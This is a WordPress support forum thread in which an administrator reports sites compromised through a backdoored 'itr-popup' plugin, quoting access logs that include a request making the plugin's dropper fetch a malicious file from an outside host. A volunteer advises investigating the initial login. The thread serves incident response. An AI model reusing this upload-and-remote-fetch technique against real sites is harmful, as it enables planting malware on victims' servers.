Different sites where hacked the same way on different servers

  • Resolved ImanGM

    (@credo61)


    6 years, 11 months ago

    Hello there,

    I’m managing some servers and I’ve figured out some WordPress sites (from different clients and different developers) are hacked a few days after their installations.

    But, the hacking methods are completely similar to each other. This is what will happen:

    1. A User logs into WordPress on his first try (seems that there is not any brute force attacks).
    2. The logged in user uploads a plugin named itr-popup.

    Here is the logs:

    202.58.105.15 - - [23/May/2019:06:41:41 +0430] "GET /wp-login.php HTTP/1.0" 200 3944 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"
202.58.105.15 - - [23/May/2019:06:41:31 +0430] "HEAD /wp-login.php HTTP/1.0" 200 570 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
202.58.105.15 - - [23/May/2019:06:41:45 +0430] "POST /wp-login.php HTTP/1.0" 302 1293 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
202.58.105.15 - - [23/May/2019:06:41:47 +0430] "GET /wp-admin/ HTTP/1.0" 200 127945 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
202.58.105.15 - - [23/May/2019:06:41:56 +0430] "GET /wp-admin/plugin-install.php?tab=upload HTTP/1.0" 200 81558 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
202.58.105.15 - - [23/May/2019:06:42:09 +0430] "GET /wp-content/plugins/itr-popup/scripts/jscolor/itro-admin-scripts.php HTTP/1.0" 200 5813 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"
202.58.105.15 - - [23/May/2019:06:42:03 +0430] "POST /wp-admin/update.php?action=upload-plugin HTTP/1.0" 200 51039 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0"

    3. This plugin contains a file named itro-admin-scripts.php. This file accepts two parameters:

    – url: Which is the url of a txt file that contains a malicious codes.
    – dir: Where to save this malware on the victim site.

    With this method, the hacker uploads any files he/she wants on the website and use them to hack other websites as well.

    This is the logs of the way the hacker uploaded the scripts:

    51.15.180.50 - - [23/May/2019:11:08:32 +0430] "GET /wp-content/plugins/itr-popup/scripts/jscolor/itro-admin-scripts.php?url=http://nataliehaley.kage-tora.com/wp.txt&dir=wp-content/plugins/itr-popup/scripts/jscolor HTTP/1.0" 200 1047 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"

    Both sites that this happened to them were using WordPress 5.2.1 and they made sure that they did not install this itr-popup plugin on their WordPress website.

    Please note that they are different clients, different developers on different servers.

    I even downloaded this plugin from WordPress repository and it was clean and itro-admin-scripts.php file which I said the hacker used it to upload malwares on the websites, is not included in the original version downloaded from WordPress.org. So, I believe that it’s not a problem with this plugin.

    I didn’t find any similar attack reports on the internet. Anyone else having the same issue here? I worry if it’s some kind of a bug in WordPress 5.2.1 itself.

    Thank you for your help.
    Iman

Viewing 4 replies - 1 through 4 (of 4 total)
  • Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    6 years, 11 months ago

    You shouldn’t care what happens at steps 2 and 3 because you’ll be led on a wild goose chase. I strongly advise investing time in resolving step 1.

    FAQ My site was hacked

    Thread Starter ImanGM

    (@credo61)

    6 years, 11 months ago

    Hello Andrew,

    Thank you for your reply. So, is there any way to find out how this user was logged into WordPress from the log files? I guess, by default, there’s not any logging feature in WordPress and the Apache doesn’t log the content of the POST requests to find out which account is used to log into the WordPress.

    As I said before, this site was under construction and I can recreate it. So, there is not any problem with it. But just for Forensics and since this is not the first time a similar attack happened within last month, I want to find out how this user was able to log into WordPress on his first try…

    Any suggestions for investigating this issue?

    Thank you.
    Iman

    Andrew Nevins

    (@anevins)

    WCLDN 2018 Contributor | Volunteer support

    6 years, 11 months ago

    Hi Iman, Does it matter that the user (most likely a bot) was or was not logged into the dashboard? At this point your environment would already be compromised. This is part of the goose chase that you should not invest any more time in.

    Thread Starter ImanGM

    (@credo61)

    6 years, 11 months ago

    Hey Andrew,

    Thank you for your advice. I’ve reinstalled the site and made some improvements on the logins page and put some monitoring tools on it to check if this happens again.

    Thank you again.
    Iman

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Different sites where hacked the same way on different servers’ is closed to new replies.